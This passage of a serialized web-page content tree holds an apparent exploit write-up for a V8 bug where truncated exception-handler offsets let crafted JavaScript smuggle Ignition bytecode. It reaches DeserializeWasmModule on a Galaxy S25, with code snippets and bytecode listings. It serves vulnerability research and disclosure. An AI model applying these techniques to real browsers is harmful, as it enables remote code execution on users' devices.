2;\n}\n",[24732],{"type":26,"tag":83,"props":24733,"children":24734},{"__ignoreMap":8},[24735,24747,24763,24780,24804],{"type":26,"tag":217,"props":24736,"children":24737},{"class":7028,"line":7029},[24738,24743],{"type":26,"tag":217,"props":24739,"children":24740},{"style":7042},[24741],{"type":32,"value":24742},"try",{"type":26,"tag":217,"props":24744,"children":24745},{"style":7048},[24746],{"type":32,"value":8064},{"type":26,"tag":217,"props":24748,"children":24749},{"class":7028,"line":6770},[24750,24755,24759],{"type":26,"tag":217,"props":24751,"children":24752},{"style":7042},[24753],{"type":32,"value":24754},"  throw",{"type":26,"tag":217,"props":24756,"children":24757},{"style":7130},[24758],{"type":32,"value":9742},{"type":26,"tag":217,"props":24760,"children":24761},{"style":7048},[24762],{"type":32,"value":7162},{"type":26,"tag":217,"props":24764,"children":24765},{"class":7028,"line":6779},[24766,24771,24776],{"type":26,"tag":217,"props":24767,"children":24768},{"style":7048},[24769],{"type":32,"value":24770},"} ",{"type":26,"tag":217,"props":24772,"children":24773},{"style":7042},[24774],{"type":32,"value":24775},"catch",{"type":26,"tag":217,"props":24777,"children":24778},{"style":7048},[24779],{"type":32,"value":8064},{"type":26,"tag":217,"props":24781,"children":24782},{"class":7028,"line":7140},[24783,24788,24792,24796,24800],{"type":26,"tag":217,"props":24784,"children":24785},{"style":7154},[24786],{"type":32,"value":24787},"  let",{"type":26,"tag":217,"props":24789,"children":24790},{"style":7054},[24791],{"type":32,"value":24621},{"type":26,"tag":217,"props":24793,"children":24794},{"style":7149},[24795],{"type":32,"value":8993},{"type":26,"tag":217,"props":24797,"children":24798},{"style":7130},[24799],{"type":32,"value":9725},{"type":26,"tag":217,"props":24801,"children":24802},{"style":7048},[24803],{"type":32,"value":7162},{"type":26,"tag":217,"props":24805,"children":24806},{"class":7028,"line":7165},[24807],{"type":26,"tag":217,"props":24808,"children":24809},{"style":7048},[24810],{"type":32,"value":7184},{"type":26,"tag":207,"props":24812,"children":24814},{"code":24813}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[24815],{"type":26,"tag":83,"props":24816,"children":24817},{"__ignoreMap":8},[24818],{"type":32,"value":24813},{"type":26,"tag":39,"props":24820,"children":24821},{},[24822,24824,24829,24831,24836],{"type":32,"value":24823},"However, the ",{"type":26,"tag":83,"props":24825,"children":24827},{"className":24826},[],[24828],{"type":32,"value":24725},{"type":32,"value":24830}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":26,"tag":83,"props":24832,"children":24834},{"className":24833},[],[24835],{"type":32,"value":24775},{"type":32,"value":24837}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":26,"tag":39,"props":24839,"children":24840},{},[24841,24843,24849],{"type":32,"value":24842},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":26,"tag":83,"props":24844,"children":24846},{"className":24845},[],[24847],{"type":32,"value":24848},"yield*",{"type":32,"value":24850}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":26,"tag":27,"props":24852,"children":24854},{"id":24853},"exploitation",[24855],{"type":32,"value":24856},"Exploitation",{"type":26,"tag":607,"props":24858,"children":24860},{"id":24859},"constant-smuggling",[24861],{"type":32,"value":24862},"Constant Smuggling",{"type":26,"tag":39,"props":24864,"children":24865},{},[24866,24868,24875],{"type":32,"value":24867},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":26,"tag":163,"props":24869,"children":24872},{"href":24870,"rel":24871},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[167],[24873],{"type":32,"value":24874},"technique",{"type":32,"value":24876}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":26,"tag":207,"props":24878,"children":24880},{"code":24879,"language":24580,"meta":8,"className":24581,"style":8},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[24881],{"type":26,"tag":83,"props":24882,"children":24883},{"__ignoreMap":8},[24884,24912,24939,24966],{"type":26,"tag":217,"props":24885,"children":24886},{"class":7028,"line":7029},[24887,24891,24895,24899,24903,24908],{"type":26,"tag":217,"props":24888,"children":24889},{"style":7154},[24890],{"type":32,"value":12470},{"type":26,"tag":217,"props":24892,"children":24893},{"style":7054},[24894],{"type":32,"value":24597},{"type":26,"tag":217,"props":24896,"children":24897},{"style":7149},[24898],{"type":32,"value":8993},{"type":26,"tag":217,"props":24900,"children":24901},{"style":7149},[24902],{"type":32,"value":12618},{"type":26,"tag":217,"props":24904,"children":24905},{"style":7130},[24906],{"type":32,"value":24907},"9.255963134931783e61",{"type":26,"tag":217,"props":24909,"children":24910},{"style":7048},[24911],{"type":32,"value":7162},{"type":26,"tag":217,"props":24913,"children":24914},{"class":7028,"line":6770},[24915,24919,24923,24927,24931,24935],{"type":26,"tag":217,"props":24916,"children":24917},{"style":7154},[24918],{"type":32,"value":12470},{"type":26,"tag":217,"props":24920,"children":24921},{"style":7054},[24922],{"type":32,"value":24621},{"type":26,"tag":217,"props":24924,"children":24925},{"style":7149},[24926],{"type":32,"value":8993},{"type":26,"tag":217,"props":24928,"children":24929},{"style":7149},[24930],{"type":32,"value":12618},{"type":26,"tag":217,"props":24932,"children":24933},{"style":7130},[24934],{"type":32,"value":24907},{"type":26,"tag":217,"props":24936,"children":24937},{"style":7048},[24938],{"type":32,"value":7162},{"type":26,"tag":217,"props":24940,"children":24941},{"class":7028,"line":6779},[24942,24946,24950,24954,24958,24962],{"type":26,"tag":217,"props":24943,"children":24944},{"style":7154},[24945],{"type":32,"value":12470},{"type":26,"tag":217,"props":24947,"children":24948},{"style":7054},[24949],{"type":32,"value":8511},{"type":26,"tag":217,"props":24951,"children":24952},{"style":7149},[24953],{"type":32,"value":8993},{"type":26,"tag":217,"props":24955,"children":24956},{"style":7149},[24957],{"type":32,"value":12618},{"type":26,"tag":217,"props":24959,"children":24960},{"style":7130},[24961],{"type":32,"value":24907},{"type":26,"tag":217,"props":24963,"children":24964},{"style":7048},[24965],{"type":32,"value":7162},{"type":26,"tag":217,"props":24967,"children":24968},{"class":7028,"line":7140},[24969,24973,24977,24981,24985,24989],{"type":26,"tag":217,"props":24970,"children":24971},{"style":7154},[24972],{"type":32,"value":12470},{"type":26,"tag":217,"props":24974,"children":24975},{"style":7054},[24976],{"type":32,"value":24670},{"type":26,"tag":217,"props":24978,"children":24979},{"style":7149},[24980],{"type":32,"value":8993},{"type":26,"tag":217,"props":24982,"children":24983},{"style":7149},[24984],{"type":32,"value":12618},{"type":26,"tag":217,"props":24986,"children":24987},{"style":7130},[24988],{"type":32,"value":24907},{"type":26,"tag":217,"props":24990,"children":24991},{"style":7048},[24992],{"type":32,"value":7162},{"type":26,"tag":39,"props":24994,"children":24995},{},[24996],{"type":32,"value":24997},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":26,"tag":39,"props":24999,"children":25000},{},[25001],{"type":32,"value":25002},"We'll use a similar principle here, although much more limited. With",{"type":26,"tag":207,"props":25004,"children":25006},{"code":25005},"let a = 0x0693bebe;\n",[25007],{"type":26,"tag":83,"props":25008,"children":25009},{"__ignoreMap":8},[25010],{"type":32,"value":25005},{"type":26,"tag":39,"props":25012,"children":25013},{},[25014],{"type":32,"value":25015},"We will compile the bytecode:",{"type":26,"tag":207,"props":25017,"children":25019},{"code":25018},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[25020],{"type":26,"tag":83,"props":25021,"children":25022},{"__ignoreMap":8},[25023],{"type":32,"value":25018},{"type":26,"tag":39,"props":25025,"children":25026},{},[25027,25029,25035,25037,25043,25044,25050],{"type":32,"value":25028},"We can then jump to the 3rd byte (",{"type":26,"tag":83,"props":25030,"children":25032},{"className":25031},[],[25033],{"type":32,"value":25034},"0xbe",{"type":32,"value":25036},"), and gain 2 controlled bytes of execution, followed by ",{"type":26,"tag":83,"props":25038,"children":25040},{"className":25039},[],[25041],{"type":32,"value":25042},"0x93 0x02 - 0xf",{"type":32,"value":7051},{"type":26,"tag":83,"props":25045,"children":25047},{"className":25046},[],[25048],{"type":32,"value":25049},"Jump +[2-15]",{"type":32,"value":25051},") to jump into the next constant.",{"type":26,"tag":39,"props":25053,"children":25054},{},[25055,25057,25063,25065,25071,25073,25079],{"type":32,"value":25056},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":26,"tag":83,"props":25058,"children":25060},{"className":25059},[],[25061],{"type":32,"value":25062},"StarX",{"type":32,"value":25064}," instructions, registers 16-121 resulted in two bytes ",{"type":26,"tag":83,"props":25066,"children":25068},{"className":25067},[],[25069],{"type":32,"value":25070},"Star rX",{"type":32,"value":25072}," instructions, and the next batch resulted in 4 byte ",{"type":26,"tag":83,"props":25074,"children":25076},{"className":25075},[],[25077],{"type":32,"value":25078},"Star.ExtraWide rX",{"type":32,"value":25080}," instructions.",{"type":26,"tag":39,"props":25082,"children":25083},{},[25084,25086,25092],{"type":32,"value":25085},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":26,"tag":83,"props":25087,"children":25089},{"className":25088},[],[25090],{"type":32,"value":25091},"0x8931111",{"type":32,"value":1473},{"type":26,"tag":207,"props":25094,"children":25096},{"code":25095,"language":24580,"meta":8,"className":24581,"style":8},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[25097],{"type":26,"tag":83,"props":25098,"children":25099},{"__ignoreMap":8},[25100,25125,25149,25173,25197,25221,25245],{"type":26,"tag":217,"props":25101,"children":25102},{"class":7028,"line":7029},[25103,25107,25112,25116,25121],{"type":26,"tag":217,"props":25104,"children":25105},{"style":7154},[25106],{"type":32,"value":12470},{"type":26,"tag":217,"props":25108,"children":25109},{"style":7054},[25110],{"type":32,"value":25111}," a206",{"type":26,"tag":217,"props":25113,"children":25114},{"style":7149},[25115],{"type":32,"value":8993},{"type":26,"tag":217,"props":25117,"children":25118},{"style":7130},[25119],{"type":32,"value":25120}," 0x8931111",{"type":26,"tag":217,"props":25122,"children":25123},{"style":7048},[25124],{"type":32,"value":7162},{"type":26,"tag":217,"props":25126,"children":25127},{"class":7028,"line":6770},[25128,25132,25137,25141,25145],{"type":26,"tag":217,"props":25129,"children":25130},{"style":7154},[25131],{"type":32,"value":12470},{"type":26,"tag":217,"props":25133,"children":25134},{"style":7054},[25135],{"type":32,"value":25136}," a207",{"type":26,"tag":217,"props":25138,"children":25139},{"style":7149},[25140],{"type":32,"value":8993},{"type":26,"tag":217,"props":25142,"children":25143},{"style":7130},[25144],{"type":32,"value":25120},{"type":26,"tag":217,"props":25146,"children":25147},{"style":7048},[25148],{"type":32,"value":7162},{"type":26,"tag":217,"props":25150,"children":25151},{"class":7028,"line":6779},[25152,25156,25161,25165,25169],{"type":26,"tag":217,"props":25153,"children":25154},{"style":7154},[25155],{"type":32,"value":12470},{"type":26,"tag":217,"props":25157,"children":25158},{"style":7054},[25159],{"type":32,"value":25160}," a208",{"type":26,"tag":217,"props":25162,"children":25163},{"style":7149},[25164],{"type":32,"value":8993},{"type":26,"tag":217,"props":25166,"children":25167},{"style":7130},[25168],{"type":32,"value":25120},{"type":26,"tag":217,"props":25170,"children":25171},{"style":7048},[25172],{"type":32,"value":7162},{"type":26,"tag":217,"props":25174,"children":25175},{"class":7028,"line":7140},[25176,25180,25185,25189,25193],{"type":26,"tag":217,"props":25177,"children":25178},{"style":7154},[25179],{"type":32,"value":12470},{"type":26,"tag":217,"props":25181,"children":25182},{"style":7054},[25183],{"type":32,"value":25184}," a209",{"type":26,"tag":217,"props":25186,"children":25187},{"style":7149},[25188],{"type":32,"value":8993},{"type":26,"tag":217,"props":25190,"children":25191},{"style":7130},[25192],{"type":32,"value":25120},{"type":26,"tag":217,"props":25194,"children":25195},{"style":7048},[25196],{"type":32,"value":7162},{"type":26,"tag":217,"props":25198,"children":25199},{"class":7028,"line":7165},[25200,25204,25209,25213,25217],{"type":26,"tag":217,"props":25201,"children":25202},{"style":7154},[25203],{"type":32,"value":12470},{"type":26,"tag":217,"props":25205,"children":25206},{"style":7054},[25207],{"type":32,"value":25208}," a210",{"type":26,"tag":217,"props":25210,"children":25211},{"style":7149},[25212],{"type":32,"value":8993},{"type":26,"tag":217,"props":25214,"children":25215},{"style":7130},[25216],{"type":32,"value":25120},{"type":26,"tag":217,"props":25218,"children":25219},{"style":7048},[25220],{"type":32,"value":7162},{"type":26,"tag":217,"props":25222,"children":25223},{"class":7028,"line":7178},[25224,25228,25233,25237,25241],{"type":26,"tag":217,"props":25225,"children":25226},{"style":7154},[25227],{"type":32,"value":12470},{"type":26,"tag":217,"props":25229,"children":25230},{"style":7054},[25231],{"type":32,"value":25232}," a211",{"type":26,"tag":217,"props":25234,"children":25235},{"style":7149},[25236],{"type":32,"value":8993},{"type":26,"tag":217,"props":25238,"children":25239},{"style":7130},[25240],{"type":32,"value":25120},{"type":26,"tag":217,"props":25242,"children":25243},{"style":7048},[25244],{"type":32,"value":7162},{"type":26,"tag":217,"props":25246,"children":25247},{"class":7028,"line":7389},[25248,25252,25257,25261,25265],{"type":26,"tag":217,"props":25249,"children":25250},{"style":7154},[25251],{"type":32,"value":12470},{"type":26,"tag":217,"props":25253,"children":25254},{"style":7054},[25255],{"type":32,"value":25256}," a212",{"type":26,"tag":217,"props":25258,"children":25259},{"style":7149},[25260],{"type":32,"value":8993},{"type":26,"tag":217,"props":25262,"children":25263},{"style":7130},[25264],{"type":32,"value":25120},{"type":26,"tag":217,"props":25266,"children":25267},{"style":7048},[25268],{"type":32,"value":7162},{"type":26,"tag":39,"props":25270,"children":25271},{},[25272],{"type":32,"value":25273},"Those instructions result in:",{"type":26,"tag":207,"props":25275,"children":25277},{"code":25276},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[25278],{"type":26,"tag":83,"props":25279,"children":25280},{"__ignoreMap":8},[25281],{"type":32,"value":25276},{"type":26,"tag":39,"props":25283,"children":25284},{},[25285,25287,25293,25295,25300],{"type":32,"value":25286},"(The offset of ",{"type":26,"tag":83,"props":25288,"children":25290},{"className":25289},[],[25291],{"type":32,"value":25292},"Jump",{"type":32,"value":25294}," instructions is added to the ",{"type":26,"tag":65,"props":25296,"children":25297},{},[25298],{"type":32,"value":25299},"start",{"type":32,"value":25301}," of the instruction.)",{"type":26,"tag":39,"props":25303,"children":25304},{},[25305,25307,25313],{"type":32,"value":25306},"Now, 3 out of the 6 bytes in a ",{"type":26,"tag":83,"props":25308,"children":25310},{"className":25309},[],[25311],{"type":32,"value":25312},"LdaSmi.ExtraWide",{"type":32,"value":25314}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":26,"tag":607,"props":25316,"children":25318},{"id":25317},"exploit-goal",[25319],{"type":32,"value":25320},"Exploit Goal",{"type":26,"tag":39,"props":25322,"children":25323},{},[25324,25326,25332,25333,25339],{"type":32,"value":25325},"Initially we considered using ",{"type":26,"tag":83,"props":25327,"children":25329},{"className":25328},[],[25330],{"type":32,"value":25331},"Star",{"type":32,"value":5756},{"type":26,"tag":83,"props":25334,"children":25336},{"className":25335},[],[25337],{"type":32,"value":25338},"Ldar",{"type":32,"value":25340}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":26,"tag":39,"props":25342,"children":25343},{},[25344,25346,25353],{"type":32,"value":25345},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":26,"tag":163,"props":25347,"children":25350},{"href":25348,"rel":25349},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[167],[25351],{"type":32,"value":25352},"stack pivot and ROP",{"type":32,"value":25354},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":26,"tag":39,"props":25356,"children":25357},{},[25358],{"type":32,"value":25359},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":26,"tag":39,"props":25361,"children":25362},{},[25363],{"type":32,"value":25364},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":26,"tag":39,"props":25366,"children":25367},{},[25368,25370,25376,25378,25384,25386,25392],{"type":32,"value":25369},"At this point, we identified an interesting opcode: ",{"type":26,"tag":83,"props":25371,"children":25373},{"className":25372},[],[25374],{"type":32,"value":25375},"CallRuntime",{"type":32,"value":25377},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":26,"tag":83,"props":25379,"children":25381},{"className":25380},[],[25382],{"type":32,"value":25383},"--allow-natives-syntax",{"type":32,"value":25385}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":26,"tag":83,"props":25387,"children":25389},{"className":25388},[],[25390],{"type":32,"value":25391},"DeserializeWasmModule",{"type":32,"value":180},{"type":26,"tag":39,"props":25394,"children":25395},{},[25396,25398,25405,25406,25411,25412,25418,25420,25426],{"type":32,"value":25397},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":26,"tag":163,"props":25399,"children":25402},{"href":25400,"rel":25401},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[167],[25403],{"type":32,"value":25404},"JIT-compiled functions",{"type":32,"value":15487},{"type":26,"tag":83,"props":25407,"children":25409},{"className":25408},[],[25410],{"type":32,"value":25391},{"type":32,"value":5756},{"type":26,"tag":83,"props":25413,"children":25415},{"className":25414},[],[25416],{"type":32,"value":25417},"SerializeWasmModule",{"type":32,"value":25419}," themselves are only used from test functions, and indeed have been ",{"type":26,"tag":163,"props":25421,"children":25424},{"href":25422,"rel":25423},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[167],[25425],{"type":32,"value":12533},{"type":32,"value":25427}," from recent production V8 builds due to how abusable this functionality is.",{"type":26,"tag":39,"props":25429,"children":25430},{},[25431,25433,25439,25441,25447,25449,25455,25457,25463,25465,25471,25472,25478,25479,25485,25487,25493,25495,25500],{"type":32,"value":25432},"However, calling this opcode represented a significant challenge:\n",{"type":26,"tag":83,"props":25434,"children":25436},{"className":25435},[],[25437],{"type":32,"value":25438},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":32,"value":25440},"\nWhere ",{"type":26,"tag":83,"props":25442,"children":25444},{"className":25443},[],[25445],{"type":32,"value":25446},"func-id",{"type":32,"value":25448}," is a 2-byte function ID, ",{"type":26,"tag":83,"props":25450,"children":25452},{"className":25451},[],[25453],{"type":32,"value":25454},"args",{"type":32,"value":25456}," is the index of the last register passed and ",{"type":26,"tag":83,"props":25458,"children":25460},{"className":25459},[],[25461],{"type":32,"value":25462},"argc",{"type":32,"value":25464}," is the number of arguments passed (e.g. passing ",{"type":26,"tag":83,"props":25466,"children":25468},{"className":25467},[],[25469],{"type":32,"value":25470},"r0",{"type":32,"value":7599},{"type":26,"tag":83,"props":25473,"children":25475},{"className":25474},[],[25476],{"type":32,"value":25477},"r1",{"type":32,"value":1308},{"type":26,"tag":83,"props":25480,"children":25482},{"className":25481},[],[25483],{"type":32,"value":25484},"r2",{"type":32,"value":25486}," would be encoded as ",{"type":26,"tag":83,"props":25488,"children":25490},{"className":25489},[],[25491],{"type":32,"value":25492},"\u003Cr2> \u003C3>",{"type":32,"value":25494},").\nThis requires ",{"type":26,"tag":65,"props":25496,"children":25497},{},[25498],{"type":32,"value":25499},"5",{"type":32,"value":25501}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":26,"tag":607,"props":25503,"children":25505},{"id":25504},"better-bytecode-control",[25506],{"type":32,"value":25507},"Better Bytecode Control",{"type":26,"tag":39,"props":25509,"children":25510},{},[25511,25513,25520,25522,25528],{"type":32,"value":25512},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":26,"tag":163,"props":25514,"children":25517},{"href":25515,"rel":25516},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[167],[25518],{"type":32,"value":25519},"feedback vector slot",{"type":32,"value":25521},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":26,"tag":83,"props":25523,"children":25525},{"className":25524},[],[25526],{"type":32,"value":25527},"AddSmi",{"type":32,"value":25529}," instruction, it represents the number of operations performed on the target value so far.",{"type":26,"tag":39,"props":25531,"children":25532},{},[25533],{"type":32,"value":25534},"For example, we can look at the below Ignition disassembly:",{"type":26,"tag":207,"props":25536,"children":25538},{"code":25537},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[25539],{"type":26,"tag":83,"props":25540,"children":25541},{"__ignoreMap":8},[25542],{"type":32,"value":25537},{"type":26,"tag":39,"props":25544,"children":25545},{},[25546,25548,25554],{"type":32,"value":25547},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":26,"tag":83,"props":25549,"children":25551},{"className":25550},[],[25552],{"type":32,"value":25553},"AddSmi.ExtraWide",{"type":32,"value":25555},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":26,"tag":39,"props":25557,"children":25558},{},[25559],{"type":32,"value":25560},"Eventually, we can reach a stage like this:",{"type":26,"tag":207,"props":25562,"children":25564},{"code":25563},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[25565],{"type":26,"tag":83,"props":25566,"children":25567},{"__ignoreMap":8},[25568],{"type":32,"value":25563},{"type":26,"tag":39,"props":25570,"children":25571},{},[25572],{"type":32,"value":25573},"If you skip the first two bytes, you have",{"type":26,"tag":2040,"props":25575,"children":25576},{},[25577,25608],{"type":26,"tag":2044,"props":25578,"children":25579},{},[25580,25585,25587,25592,25594,25600,25602],{"type":26,"tag":83,"props":25581,"children":25583},{"className":25582},[],[25584],{"type":32,"value":25375},{"type":32,"value":25586}," (0x6c) to ",{"type":26,"tag":83,"props":25588,"children":25590},{"className":25589},[],[25591],{"type":32,"value":25391},{"type":32,"value":25593}," (0x0266) starting from register ",{"type":26,"tag":83,"props":25595,"children":25597},{"className":25596},[],[25598],{"type":32,"value":25599},"a2",{"type":32,"value":25601}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":26,"tag":83,"props":25603,"children":25605},{"className":25604},[],[25606],{"type":32,"value":25607},"DeserializeWasmModule(a2, a1)",{"type":26,"tag":2044,"props":25609,"children":25610},{},[25611],{"type":32,"value":25612},"a Jump instruction",{"type":26,"tag":607,"props":25614,"children":25616},{"id":25615},"returning-back-to-js",[25617],{"type":32,"value":25618},"Returning Back to JS",{"type":26,"tag":39,"props":25620,"children":25621},{},[25622,25624,25630],{"type":32,"value":25623},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":26,"tag":83,"props":25625,"children":25627},{"className":25626},[],[25628],{"type":32,"value":25629},"yield",{"type":32,"value":25631}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":26,"tag":39,"props":25633,"children":25634},{},[25635],{"type":32,"value":25636},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":26,"tag":207,"props":25638,"children":25640},{"code":25639,"language":24580,"meta":8,"className":24581,"style":8},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[25641],{"type":26,"tag":83,"props":25642,"children":25643},{"__ignoreMap":8},[25644,25655,25703,25724,25740,25763,25793,25810],{"type":26,"tag":217,"props":25645,"children":25646},{"class":7028,"line":7029},[25647,25651],{"type":26,"tag":217,"props":25648,"children":25649},{"style":7042},[25650],{"type":32,"value":24742},{"type":26,"tag":217,"props":25652,"children":25653},{"style":7048},[25654],{"type":32,"value":8064},{"type":26,"tag":217,"props":25656,"children":25657},{"class":7028,"line":6770},[25658,25663,25668,25673,25677,25681,25685,25690,25694,25698],{"type":26,"tag":217,"props":25659,"children":25660},{"style":7054},[25661],{"type":32,"value":25662},"  $",{"type":26,"tag":217,"props":25664,"children":25665},{"style":7048},[25666],{"type":32,"value":25667},"{",{"type":26,"tag":217,"props":25669,"children":25670},{"style":7338},[25671],{"type":32,"value":25672},"'a1 + 0xa931111;'",{"type":26,"tag":217,"props":25674,"children":25675},{"style":7048},[25676],{"type":32,"value":180},{"type":26,"tag":217,"props":25678,"children":25679},{"style":7064},[25680],{"type":32,"value":12605},{"type":26,"tag":217,"props":25682,"children":25683},{"style":7048},[25684],{"type":32,"value":1851},{"type":26,"tag":217,"props":25686,"children":25687},{"style":7130},[25688],{"type":32,"value":25689},"0x059302",{"type":26,"tag":217,"props":25691,"children":25692},{"style":7149},[25693],{"type":32,"value":12618},{"type":26,"tag":217,"props":25695,"children":25696},{"style":7130},[25697],{"type":32,"value":9742},{"type":26,"tag":217,"props":25699,"children":25700},{"style":7048},[25701],{"type":32,"value":25702},")}\n",{"type":26,"tag":217,"props":25704,"children":25705},{"class":7028,"line":6779},[25706,25711,25715,25720],{"type":26,"tag":217,"props":25707,"children":25708},{"style":7054},[25709],{"type":32,"value":25710},"  a1",{"type":26,"tag":217,"props":25712,"children":25713},{"style":7149},[25714],{"type":32,"value":9025},{"type":26,"tag":217,"props":25716,"children":25717},{"style":7130},[25718],{"type":32,"value":25719}," 0x0402666c",{"type":26,"tag":217,"props":25721,"children":25722},{"style":7048},[25723],{"type":32,"value":7162},{"type":26,"tag":217,"props":25725,"children":25726},{"class":7028,"line":7140},[25727,25731,25736],{"type":26,"tag":217,"props":25728,"children":25729},{"style":7042},[25730],{"type":32,"value":24754},{"type":26,"tag":217,"props":25732,"children":25733},{"style":7130},[25734],{"type":32,"value":25735}," 0x393e91a",{"type":26,"tag":217,"props":25737,"children":25738},{"style":7048},[25739],{"type":32,"value":7162},{"type":26,"tag":217,"props":25741,"children":25742},{"class":7028,"line":7165},[25743,25747,25751,25755,25759],{"type":26,"tag":217,"props":25744,"children":25745},{"style":7048},[25746],{"type":32,"value":24770},{"type":26,"tag":217,"props":25748,"children":25749},{"style":7042},[25750],{"type":32,"value":24775},{"type":26,"tag":217,"props":25752,"children":25753},{"style":7048},[25754],{"type":32,"value":7051},{"type":26,"tag":217,"props":25756,"children":25757},{"style":7054},[25758],{"type":32,"value":2400},{"type":26,"tag":217,"props":25760,"children":25761},{"style":7048},[25762],{"type":32,"value":7618},{"type":26,"tag":217,"props":25764,"children":25765},{"class":7028,"line":7178},[25766,25771,25775,25780,25784,25789],{"type":26,"tag":217,"props":25767,"children":25768},{"style":7054},[25769],{"type":32,"value":25770},"  console",{"type":26,"tag":217,"props":25772,"children":25773},{"style":7048},[25774],{"type":32,"value":180},{"type":26,"tag":217,"props":25776,"children":25777},{"style":7064},[25778],{"type":32,"value":25779},"log",{"type":26,"tag":217,"props":25781,"children":25782},{"style":7048},[25783],{"type":32,"value":1851},{"type":26,"tag":217,"props":25785,"children":25786},{"style":7338},[25787],{"type":32,"value":25788},"\"foo\"",{"type":26,"tag":217,"props":25790,"children":25791},{"style":7048},[25792],{"type":32,"value":7669},{"type":26,"tag":217,"props":25794,"children":25795},{"class":7028,"line":7389},[25796,25801,25806],{"type":26,"tag":217,"props":25797,"children":25798},{"style":7042},[25799],{"type":32,"value":25800},"  yield",{"type":26,"tag":217,"props":25802,"children":25803},{"style":7054},[25804],{"type":32,"value":25805}," a16",{"type":26,"tag":217,"props":25807,"children":25808},{"style":7048},[25809],{"type":32,"value":7162},{"type":26,"tag":217,"props":25811,"children":25812},{"class":7028,"line":7406},[25813],{"type":26,"tag":217,"props":25814,"children":25815},{"style":7048},[25816],{"type":32,"value":7184},{"type":26,"tag":39,"props":25818,"children":25819},{},[25820,25822],{"type":32,"value":25821},"Starting from the final 